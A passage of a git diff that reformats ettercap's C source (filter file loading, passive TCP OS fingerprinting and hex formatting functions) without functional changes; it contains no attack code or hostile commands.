b; } /* - * load the filter from a file + * load the filter from a file */ int filter_load_file(const char *filename, struct filter_list **list, uint8_t enabled) { @@ -1075,7 +1066,7 @@ int filter_load_file(const char *filename, struct filter_list **list, uint8_t en DEBUG_MSG("filter_load_file (%s)", filename); - /* open the file */ + /* open the file */ if ((fd = open(filename, O_RDONLY | O_BINARY)) == -1) FATAL_MSG("File not found or permission denied"); @@ -1086,24 +1077,24 @@ int filter_load_file(const char *filename, struct filter_list **list, uint8_t en /* sanity checks */ if (fh.magic != htons(EC_FILTER_MAGIC)) FATAL_MSG("Bad magic in filter file\nMake sure to compile the filter with etterfilter"); - + /* which version has compiled the filter ? */ if (strcmp(fh.version, EC_VERSION)) FATAL_MSG("Filter compiled for a different version"); - + /* get the size */ size = lseek(fd, 0, SEEK_END); /* load the file in memory */ SAFE_CALLOC(file, size, sizeof(char)); - + /* rewind the pointer */ lseek(fd, 0, SEEK_SET); - + ret = read(fd, file, size); - + close(fd); - + if (ret != size) FATAL_MSG("Cannot read the file into memory"); @@ -1115,14 +1106,14 @@ int filter_load_file(const char *filename, struct filter_list **list, uint8_t en /* allocate memory for the list entry */ SAFE_CALLOC(*list, 1, sizeof(struct filter_list)); fenv = &(*list)->env; - + /* set the global variables */ fenv->map = file; fenv->chain = (struct filter_op *)(file + fh.code); fenv->len = size - sizeof(struct filter_header) - fh.code; - /* - * adjust all the string pointers + /* + * adjust all the string pointers * they must point to the data segment */ reconstruct_strings(fenv, &fh); @@ -1138,13 +1129,13 @@ int filter_load_file(const char *filename, struct filter_list **list, uint8_t en /* compile the regex to speed up the matching */ if (compile_regex(fenv) != E_SUCCESS) return -E_FATAL; - + USER_MSG("Content filters loaded from %s...\n", filename); - + return E_SUCCESS; } -/* +/* * unload a filter list entry */ void filter_unload(struct filter_list **list) @@ -1153,34 +1144,34 @@ void filter_unload(struct filter_list **list) FILTERS_LOCK; - struct filter_env *fenv= &(*list)->env; + struct filter_env *fenv = &(*list)->env; size_t i = 0; struct filter_op *fop = fenv->chain; - + DEBUG_MSG("filter_unload"); /* free the memory alloc'd for regex */ - while (fop != NULL && i < (fenv->len / sizeof(struct filter_op)) ) { + while (fop != NULL && i < (fenv->len / sizeof(struct filter_op))) { /* search for func regex and pcre */ - if(fop[i].opcode == FOP_FUNC) { - switch(fop[i].op.func.op) { - case FFUNC_REGEX: - regfree(fop[i].op.func.ropt->regex); - SAFE_FREE(fop[i].op.func.ropt); - break; - - case FFUNC_PCRE: - #ifdef HAVE_PCRE - pcre_free(fop[i].op.func.ropt->pregex); - pcre_free(fop[i].op.func.ropt->preg_extra); - SAFE_FREE(fop[i].op.func.ropt); - #endif - break; + if (fop[i].opcode == FOP_FUNC) { + switch (fop[i].op.func.op) { + case FFUNC_REGEX: + regfree(fop[i].op.func.ropt->regex); + SAFE_FREE(fop[i].op.func.ropt); + break; + + case FFUNC_PCRE: +#ifdef HAVE_PCRE + pcre_free(fop[i].op.func.ropt->pregex); + pcre_free(fop[i].op.func.ropt->preg_extra); + SAFE_FREE(fop[i].op.func.ropt); +#endif + break; } } i++; } - + /* free the memory region containing the file */ SAFE_FREE(fenv->map); @@ -1200,7 +1191,8 @@ void filter_unload(struct filter_list **list) FILTERS_UNLOCK; } -void filter_clear(void) { +void filter_clear(void) +{ FILTERS_LOCK; struct filter_list **l = GBL_FILTERS; while (*l) { @@ -1209,7 +1201,6 @@ void filter_clear(void) { FILTERS_UNLOCK; } - /* * replace relative offset to real address in the strings fields */ @@ -1217,36 +1208,35 @@ static void reconstruct_strings(struct filter_env *fenv, struct filter_header *f { size_t i = 0; struct filter_op *fop = fenv->chain; - - /* parse all the instruction */ - while (i < (fenv->len / sizeof(struct filter_op)) ) { - - /* + + /* parse all the instruction */ + while (i < (fenv->len / sizeof(struct filter_op))) { + + /* * the real address for a string is the base of the mmap'd file * plus the base of the data segment plus the offset in the field */ - switch(fop[i].opcode) { - case FOP_FUNC: - if (fop[i].op.func.slen) - fop[i].op.func.string = (fenv->map + fh->data + (size_t)fop[i].op.func.string); - if (fop[i].op.func.rlen) - fop[i].op.func.replace = (fenv->map + fh->data + (size_t)fop[i].op.func.replace); - break; - - case FOP_TEST: - if (fop[i].op.test.slen) - fop[i].op.test.string = (fenv->map + fh->data + (size_t)fop[i].op.test.string); - break; - - case FOP_ASSIGN: - if (fop[i].op.assign.slen) - fop[i].op.assign.string = (fenv->map + fh->data + (size_t)fop[i].op.assign.string); - break; + switch (fop[i].opcode) { + case FOP_FUNC: + if (fop[i].op.func.slen) + fop[i].op.func.string = (fenv->map + fh->data + (size_t)fop[i].op.func.string); + if (fop[i].op.func.rlen) + fop[i].op.func.replace = (fenv->map + fh->data + (size_t)fop[i].op.func.replace); + break; + + case FOP_TEST: + if (fop[i].op.test.slen) + fop[i].op.test.string = (fenv->map + fh->data + (size_t)fop[i].op.test.string); + break; + + case FOP_ASSIGN: + if (fop[i].op.assign.slen) + fop[i].op.assign.string = (fenv->map + fh->data + (size_t)fop[i].op.assign.string); + break; } - + i++; - } - + } } /* @@ -1261,49 +1251,49 @@ static int compile_regex(struct filter_env *fenv) #ifdef HAVE_PCRE const char *perrbuf = NULL; #endif - - /* parse all the instruction */ - while (i < (fenv->len / sizeof(struct filter_op)) ) { - + + /* parse all the instruction */ + while (i < (fenv->len / sizeof(struct filter_op))) { + /* search for func regex and pcre */ - if(fop[i].opcode == FOP_FUNC) { - switch(fop[i].op.func.op) { - case FFUNC_REGEX: - - /* alloc the structures */ - SAFE_CALLOC(fop[i].op.func.ropt, 1, sizeof(struct regex_opt)); - SAFE_CALLOC(fop[i].op.func.ropt->regex, 1, sizeof(regex_t)); - - /* prepare the regex */ - err = regcomp(fop[i].op.func.ropt->regex, (const char*)fop[i].op.func.string, REG_EXTENDED | REG_NOSUB | REG_ICASE ); - if (err) { - regerror(err, fop[i].op.func.ropt->regex, errbuf, sizeof(errbuf)); - FATAL_MSG("filter engine: %s", errbuf); - } - break; - - case FFUNC_PCRE: - #ifdef HAVE_PCRE - - /* alloc the structure */ - SAFE_CALLOC(fop[i].op.func.ropt, 1, sizeof(struct regex_opt)); - - /* prepare the regex (with default option) */ - fop[i].op.func.ropt->pregex = pcre_compile(fop[i].op.func.string, 0, &perrbuf, &err, NULL ); - if (fop[i].op.func.ropt->pregex == NULL) - FATAL_MSG("filter engine: %s\n", perrbuf); - - /* optimize the pcre */ - fop[i].op.func.ropt->preg_extra = pcre_study(fop[i].op.func.ropt->pregex, 0, &perrbuf); - if (perrbuf != NULL) - FATAL_MSG("filter engine: %s\n", perrbuf); - - #endif - break; + if (fop[i].opcode == FOP_FUNC) { + switch (fop[i].op.func.op) { + case FFUNC_REGEX: + + /* alloc the structures */ + SAFE_CALLOC(fop[i].op.func.ropt, 1, sizeof(struct regex_opt)); + SAFE_CALLOC(fop[i].op.func.ropt->regex, 1, sizeof(regex_t)); + + /* prepare the regex */ + err = regcomp(fop[i].op.func.ropt->regex, (const char *)fop[i].op.func.string, REG_EXTENDED | REG_NOSUB | REG_ICASE); + if (err) { + regerror(err, fop[i].op.func.ropt->regex, errbuf, sizeof(errbuf)); + FATAL_MSG("filter engine: %s", errbuf); + } + break; + + case FFUNC_PCRE: +#ifdef HAVE_PCRE + + /* alloc the structure */ + SAFE_CALLOC(fop[i].op.func.ropt, 1, sizeof(struct regex_opt)); + + /* prepare the regex (with default option) */ + fop[i].op.func.ropt->pregex = pcre_compile(fop[i].op.func.string, 0, &perrbuf, &err, NULL); + if (fop[i].op.func.ropt->pregex == NULL) + FATAL_MSG("filter engine: %s\n", perrbuf); + + /* optimize the pcre */ + fop[i].op.func.ropt->preg_extra = pcre_study(fop[i].op.func.ropt->pregex, 0, &perrbuf); + if (perrbuf != NULL) + FATAL_MSG("filter engine: %s\n", perrbuf); + +#endif + break; } } i++; - } + } return E_SUCCESS; } @@ -1314,7 +1304,8 @@ static int compile_regex(struct filter_env *fenv) * The callback function can stop the list from being traversed * any further by returning a false value. */ -void filter_walk_list( int(*cb)(struct filter_list*, void*), void *arg) { +void filter_walk_list(int (*cb)(struct filter_list *, void *), void *arg) +{ struct filter_list **l; FILTERS_LOCK; for (l = GBL_FILTERS; *l != NULL; l = &(*l)->next) { @@ -1328,4 +1319,3 @@ void filter_walk_list( int(*cb)(struct filter_list*, void*), void *arg) { /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_fingerprint.c b/src/ec_fingerprint.c index 1069ee865..c0f418388 100644 --- a/src/ec_fingerprint.c +++ b/src/ec_fingerprint.c @@ -1,44 +1,45 @@ /* - ettercap -- passive TCP finterprint module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - - -*/ + * ettercap -- passive TCP finterprint module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + * + */ #include #include #include #include -#define LOAD_ENTRY(p,h,v) do { \ - SAFE_CALLOC((p), 1, sizeof(struct entry)); \ - memcpy((p)->finger, h, FINGER_LEN); \ - (p)->finger[FINGER_LEN] = '\0'; \ - (p)->os = strdup (v); \ - (p)->os[strlen(p->os)-1] = '\0'; \ -} while (0) +#define LOAD_ENTRY(p, h, v) \ + do { \ + SAFE_CALLOC((p), 1, sizeof(struct entry)); \ + memcpy((p)->finger, h, FINGER_LEN); \ + (p)->finger[FINGER_LEN] = '\0'; \ + (p)->os = strdup(v); \ + (p)->os[strlen(p->os) - 1] = '\0'; \ + } while (0) /* globals */ static SLIST_HEAD(, entry) finger_head; struct entry { - char finger[FINGER_LEN+1]; + char finger[FINGER_LEN + 1]; char *os; SLIST_ENTRY(entry) next; }; @@ -46,9 +47,8 @@ struct entry { /* protos */ static void fingerprint_discard(void); - -/*****************************************/ +/*****************************************/ static void fingerprint_discard(void) { @@ -62,21 +62,20 @@ static void fingerprint_discard(void) } DEBUG_MSG("ATEXIT: fingerprint_discard"); - + return; } - int fingerprint_init(void) { struct entry *p; struct entry *last = NULL; - + int i; char line[128]; - char os[OS_LEN+1]; - char finger[FINGER_LEN+1]; + char os[OS_LEN + 1]; + char finger[FINGER_LEN + 1]; char *ptr; FILE *f; @@ -87,14 +86,14 @@ int fingerprint_init(void) ON_ERROR(f, NULL, "Cannot open %s", TCP_FINGERPRINTS); while (fgets(line, 128, f) != 0) { - - if ( (ptr = strchr(line, '#')) ) + + if ((ptr = strchr(line, '#'))) *ptr = 0; /* skip 0 length line */ - if (!strlen(line)) + if (!strlen(line)) continue; - + strncpy(finger, line, FINGER_LEN); strncpy(os, line + FINGER_LEN + 1, OS_LEN); @@ -111,12 +110,11 @@ int fingerprint_init(void) /* count the fingerprints */ i++; - } DEBUG_MSG("fingerprint_init -- %d fingers loaded", i); USER_MSG("%4d tcp OS fingerprint\n", i); - + fclose(f); atexit(fingerprint_discard); @@ -131,54 +129,54 @@ int fingerprint_init(void) int fingerprint_search(const char *f, char *dst) { struct entry *l; - - //Do not process if length is invalid + + // Do not process if length is invalid if (!strcmp(f, "") || strlen(f) != FINGER_LEN) { strncpy(dst, "UNKNOWN", 7); return E_SUCCESS; } - + /* if the fingerprint matches, copy it in the dst and * return E_SUCCESS. - * if it is not found, copy the next finger in dst + * if it is not found, copy the next finger in dst * and return -E_NOTFOUND, it is the nearest fingerprint */ - + SLIST_FOREACH(l, &finger_head, next) { - + /* this is exact match */ - if ( memcmp(l->finger, f, FINGER_LEN) == 0) { - strncpy(dst, l->os, OS_LEN+1); + if (memcmp(l->finger, f, FINGER_LEN) == 0) { + strncpy(dst, l->os, OS_LEN + 1); return E_SUCCESS; } - - /* - * if not found seach with wildcalderd MSS + + /* + * if not found seach with wildcalderd MSS * but he same WINDOW size */ - if ( memcmp(l->finger, f, FINGER_LEN) > 0) { - + if (memcmp(l->finger, f, FINGER_LEN) > 0) { + /* the window field is FINGER_MSS bytes */ char win[FINGER_MSS]; - char pattern[FINGER_LEN+1]; - + char pattern[FINGER_LEN + 1]; + /* the is the next in the list */ - strncpy(dst, l->os, OS_LEN+1); - + strncpy(dst, l->os, OS_LEN + 1); + strncpy(win, f, FINGER_MSS); - win[FINGER_MSS-1] = '\0'; - + win[FINGER_MSS - 1] = '\0'; + /* pattern will be something like: * * 0000:*:TT:WS:0:0:0:0:F:LT */ - snprintf(pattern, FINGER_LEN+1, "%s:*:%s", win, f + FINGER_TTL); + snprintf(pattern, FINGER_LEN + 1, "%s:*:%s", win, f + FINGER_TTL); /* search for equal WINDOW but wildcarded MSS */ while (l != SLIST_END(&finger_head) && !strncmp(l->finger, win, 4)) { if (match_pattern(l->finger, pattern)) { /* save the nearest one (wildcarded MSS) */ - strncpy(dst, l->os, OS_LEN+1); + strncpy(dst, l->os, OS_LEN + 1); return -E_NOTFOUND; } l = SLIST_NEXT(l, next); @@ -187,8 +185,8 @@ int fingerprint_search(const char *f, char *dst) } } - if(GBL_CONF->submit_fingerprint) - fingerprint_submit(f, "Unknown"); + if (GBL_CONF->submit_fingerprint) + fingerprint_submit(f, "Unknown"); return -E_NOTFOUND; } @@ -198,12 +196,12 @@ int fingerprint_search(const char *f, char *dst) void fingerprint_default(char *finger) { - /* - * initialize the fingerprint + /* + * initialize the fingerprint * * WWWW:_MSS:TT:WS:S:N:D:T:F:LT */ - strncpy(finger,"0000:_MSS:TT:WS:0:0:0:0:F:LT", 29); + strncpy(finger, "0000:_MSS:TT:WS:0:0:0:0:F:LT", 29); } /* @@ -216,56 +214,56 @@ void fingerprint_push(char *finger, int param, int value) int lt_old = 0; ON_ERROR(finger, NULL, "finger_push used on NULL string !!"); - + switch (param) { - case FINGER_WINDOW: - snprintf(tmp, sizeof(tmp), "%04X", value); - strncpy(finger + FINGER_WINDOW, tmp, 4); - break; - case FINGER_MSS: - snprintf(tmp, sizeof(tmp), "%04X", value); - strncpy(finger + FINGER_MSS, tmp, 4); - break; - case FINGER_TTL: - snprintf(tmp, sizeof(tmp), "%02X", TTL_PREDICTOR(value)); - strncpy(finger + FINGER_TTL, tmp, 2); - break; - case FINGER_WS: - snprintf(tmp, sizeof(tmp), "%02X", value); - strncpy(finger + FINGER_WS, tmp, 2); - break; - case FINGER_SACK: - snprintf(tmp, sizeof(tmp), "%d", value); - strncpy(finger + FINGER_SACK, tmp, 1); - break; - case FINGER_NOP: - snprintf(tmp, sizeof(tmp), "%d", value); - strncpy(finger + FINGER_NOP, tmp, 1); - break; - case FINGER_DF: - snprintf(tmp, sizeof(tmp), "%d", value); - strncpy(finger + FINGER_DF, tmp, 1); - break; - case FINGER_TIMESTAMP: - snprintf(tmp, sizeof(tmp), "%d", value); - strncpy(finger + FINGER_TIMESTAMP, tmp, 1); - break; - case FINGER_TCPFLAG: - if (value == 1) - strncpy(finger + FINGER_TCPFLAG, "A", 1); - else - strncpy(finger + FINGER_TCPFLAG, "S", 1); - break; - case FINGER_LT: - /* - * since the LENGTH is the sum of the IP header - * and the TCP header, we have to calculate it - * in two steps. (decoders are unaware of other layers) - */ - lt_old = strtoul(finger + FINGER_LT, NULL, 16); - snprintf(tmp, sizeof(tmp), "%02X", value + lt_old); - strncpy(finger + FINGER_LT, tmp, 2); - break; + case FINGER_WINDOW: + snprintf(tmp, sizeof(tmp), "%04X", value); + strncpy(finger + FINGER_WINDOW, tmp, 4); + break; + case FINGER_MSS: + snprintf(tmp, sizeof(tmp), "%04X", value); + strncpy(finger + FINGER_MSS, tmp, 4); + break; + case FINGER_TTL: + snprintf(tmp, sizeof(tmp), "%02X", TTL_PREDICTOR(value)); + strncpy(finger + FINGER_TTL, tmp, 2); + break; + case FINGER_WS: + snprintf(tmp, sizeof(tmp), "%02X", value); + strncpy(finger + FINGER_WS, tmp, 2); + break; + case FINGER_SACK: + snprintf(tmp, sizeof(tmp), "%d", value); + strncpy(finger + FINGER_SACK, tmp, 1); + break; + case FINGER_NOP: + snprintf(tmp, sizeof(tmp), "%d", value); + strncpy(finger + FINGER_NOP, tmp, 1); + break; + case FINGER_DF: + snprintf(tmp, sizeof(tmp), "%d", value); + strncpy(finger + FINGER_DF, tmp, 1); + break; + case FINGER_TIMESTAMP: + snprintf(tmp, sizeof(tmp), "%d", value); + strncpy(finger + FINGER_TIMESTAMP, tmp, 1); + break; + case FINGER_TCPFLAG: + if (value == 1) + strncpy(finger + FINGER_TCPFLAG, "A", 1); + else + strncpy(finger + FINGER_TCPFLAG, "S", 1); + break; + case FINGER_LT: + /* + * since the LENGTH is the sum of the IP header + * and the TCP header, we have to calculate it + * in two steps. (decoders are unaware of other layers) + */ + lt_old = strtoul(finger + FINGER_LT, NULL, 16); + snprintf(tmp, sizeof(tmp), "%02X", value + lt_old); + strncpy(finger + FINGER_LT, tmp, 2); + break; } } @@ -274,7 +272,7 @@ void fingerprint_push(char *finger, int param, int value) */ u_int8 TTL_PREDICTOR(u_int8 x) -{ +{ register u_int8 i = x; register u_int8 j = 1; register u_int8 c = 0; @@ -282,15 +280,14 @@ u_int8 TTL_PREDICTOR(u_int8 x) do { c += i & 1; j <<= 1; - } while ( i >>= 1 ); + } while (i >>= 1); - if ( c == 1 ) + if (c == 1) return x; else - return ( j ? j : 0xff ); + return j ? j : 0xff; } - /* * submit a fingerprint to the ettercap website */ @@ -302,53 +299,53 @@ int fingerprint_submit(const char *finger, char *os) char getmsg[1024]; char *os_encoded; size_t i, os_enclen; - + memset(getmsg, 0, sizeof(getmsg)); - + /* some sanity checks */ if (strlen(finger) > FINGER_LEN || strlen(os) > OS_LEN) return -E_INVALID; - + USER_MSG("Connecting to http://%s...\n", host); - + /* prepare the socket */ sock = open_socket(host, 80); - - switch(sock) { - case -E_NOADDRESS: - FATAL_MSG("Cannot resolve %s", host); - break; - case -E_FATAL: - FATAL_MSG("Cannot create the socket"); - break; - case -E_TIMEOUT: - FATAL_MSG("Connect timeout to %s on port 80", host); - break; - case -E_INVALID: - FATAL_MSG("Error connecting to %s on port 80", host); - break; + + switch (sock) { + case -E_NOADDRESS: + FATAL_MSG("Cannot resolve %s", host); + break; + case -E_FATAL: + FATAL_MSG("Cannot create the socket"); + break; + case -E_TIMEOUT: + FATAL_MSG("Connect timeout to %s on port 80", host); + break; + case -E_INVALID: + FATAL_MSG("Error connecting to %s on port 80", host); + break; } - + os_encoded = strdup(os); /* sanitize the os (encode the ' ' to '+') */ os_enclen = strlen(os_encoded); for (i = 0; i < os_enclen; i++) - if (os_encoded[i] == ' ') + if (os_encoded[i] == ' ') os_encoded[i] = '+'; - + /* prepare the HTTP request */ snprintf(getmsg, sizeof(getmsg), "POST %s?finger=%s&os=%s HTTP/1.1\r\n" - "Host: %s\r\n" - "Accept: */*\r\n" - "User-Agent: %s (%s)\r\n" - "\r\n", page, finger, os_encoded, host, GBL_PROGRAM, GBL_VERSION ); - + "Host: %s\r\n" + "Accept: */*\r\n" + "User-Agent: %s (%s)\r\n" + "\r\n", page, finger, os_encoded, host, GBL_PROGRAM, GBL_VERSION); + SAFE_FREE(os_encoded); USER_MSG("Submitting the fingerprint to %s...\n", page); - + /* send the request to the server */ - socket_send(sock, (const u_char*)getmsg, strlen(getmsg)); + socket_send(sock, (const u_char *)getmsg, strlen(getmsg)); DEBUG_MSG("fingerprint_submit - SEND \n\n%s\n\n", getmsg); @@ -363,4 +360,3 @@ int fingerprint_submit(const char *finger, char *os) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_format.c b/src/ec_format.c index 512b6e159..1db78e6f9 100644 --- a/src/ec_format.c +++ b/src/ec_format.c @@ -1,24 +1,24 @@ /* - ettercap -- formatting functions - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - - -*/ + * ettercap -- formatting functions + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + * + */ #include #include @@ -26,47 +26,47 @@ #include #ifdef HAVE_UTF8 - #include +#include #endif /* globals */ #ifdef HAVE_UTF8 - static char *utf8_encoding; +static char *utf8_encoding; #endif static u_int8 EBCDIC_to_ASCII[256] = { - 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, + 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, - 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, + 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, - 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, + 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, - 0x2E, 0x2E, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, + 0x2E, 0x2E, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x2E, 0x3F, - 0x20, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x20, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x3C, 0x28, 0x2B, 0x7C, - 0x26, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x26, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x21, 0x24, 0x2A, 0x29, 0x3B, 0x5E, - 0x2D, 0x2F, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2D, 0x2F, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x7C, 0x2C, 0x25, 0x5F, 0x3E, 0x3F, - 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x3A, 0x23, 0x40, 0x27, 0x3D, 0x22, - 0x2E, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, + 0x2E, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, - 0x2E, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, - 0x71, 0x72, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, - 0x2E, 0x7E, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, - 0x79, 0x7A, 0x2E, 0x2E, 0x2E, 0x5B, 0x2E, 0x2E, - 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, - 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x5D, 0x2E, 0x2E, - 0x7B, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, - 0x48, 0x49, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, - 0x7D, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, - 0x51, 0x52, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, - 0x5C, 0x2E, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, - 0x59, 0x5A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, - 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, + 0x2E, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, + 0x71, 0x72, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x7E, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, + 0x79, 0x7A, 0x2E, 0x2E, 0x2E, 0x5B, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x5D, 0x2E, 0x2E, + 0x7B, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, + 0x48, 0x49, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x7D, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, + 0x51, 0x52, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x5C, 0x2E, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, + 0x59, 0x5A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E }; @@ -78,7 +78,7 @@ static u_int8 EBCDIC_to_ASCII[256] = { int set_format(char *format) { DEBUG_MSG("set_format: %s", format); - + if (!strcasecmp(format, "hex")) { GBL_FORMAT = &hex_format; return E_SUCCESS; @@ -112,32 +112,32 @@ int set_format(char *format) FATAL_MSG("Unsupported format (%s)", format); } -/* - * return the len of the resulting buffer (approximately) +/* + * return the len of the resulting buffer (approximately) */ int hex_len(int len) { int i, nline; - + /* null string ? */ if (len == 0) return 1; - + /* calculate the number of lines (ceiling) */ - nline = len / HEX_CHAR_PER_LINE; + nline = len / HEX_CHAR_PER_LINE; if (len % HEX_CHAR_PER_LINE) nline++; - + /* one line is printed as 66 chars */ i = nline * 66; return i; } -/* +/* * convert a buffer to a hex notation * * the string "HTTP/1.1 304 Not Modified" becomes: - * + * * 0000: 4854 5450 2f31 2e31 2033 3034 204e 6f74 HTTP/1.1 304 Not * 0010: 204d 6f64 6966 6965 64 Modified */ @@ -147,11 +147,9 @@ int hex_format(const u_char *buf, size_t len, u_char *dst) int dim = 0; char tmp[10]; - - /* some sanity checks */ if (len == 0 || buf == NULL) { - strncpy((char*)dst, "", 1); + strncpy((char *)dst, "", 1); return 0; } @@ -159,43 +157,42 @@ int hex_format(const u_char *buf, size_t len, u_char *dst) memset(dst, 0, hex_len(len)); for (i = 0; i < len; i += HEX_CHAR_PER_LINE) { - dim += snprintf(tmp, 7, "%04x: ", i); - strncat(dst, tmp, 7); - - jm = len - i; - jm = jm > HEX_CHAR_PER_LINE ? HEX_CHAR_PER_LINE : jm; - - for (j = 0; j < jm; j++) { - if ((j % 2) == 1) { - dim += snprintf(tmp, 4, "%02x ", buf[i+j]); - strncat(dst, tmp, 4); - } else { - dim += snprintf(tmp, 3, "%02x", buf[i+j]); - strncat(dst, tmp, 3); - - } - } - for (; j < HEX_CHAR_PER_LINE; j++) { - if ((j % 2) == 1) { - strcat((char*)dst, " "); - dim += 3; - } else { - strcat((char*)dst, " "); - dim += 2; - } - } - strcat((char*)dst, " "); - dim++; - - for (j = 0; j < jm; j++) { - c = buf[i+j]; - c = isprint(c) ? c : '.'; - dim += snprintf(tmp, 2, "%c" , c); - strncat(dst, tmp, 2); - } - - strcat((char*)dst, "\n"); - dim++; + dim += snprintf(tmp, 7, "%04x: ", i); + strncat(dst, tmp, 7); + + jm = len - i; + jm = jm > HEX_CHAR_PER_LINE ? HEX_CHAR_PER_LINE : jm; + + for (j = 0; j < jm; j++) { + if ((j % 2) == 1) { + dim += snprintf(tmp, 4, "%02x ", buf[i + j]); + strncat(dst, tmp, 4); + } else { + dim += snprintf(tmp, 3, "%02x", buf[i + j]); + strncat(dst, tmp, 3); + } + } + for (; j < HEX_CHAR_PER_LINE; j++) { + if ((j % 2) == 1) { + strcat((char *)dst, " "); + dim += 3; + } else { + strcat((char *)dst, " "); + dim += 2; + } + } + strcat((char *)dst, " "); + dim++; + + for (j = 0; j < jm; j++) { + c = buf[i + j]; + c = isprint(c) ? c : '.'; + dim += snprintf(tmp, 2, "%c", c); + strncat(dst, tmp, 2); + } + + strcat((char *)dst, "\n"); + dim++; } return dim; @@ -209,21 +206,21 @@ int hex_format(const 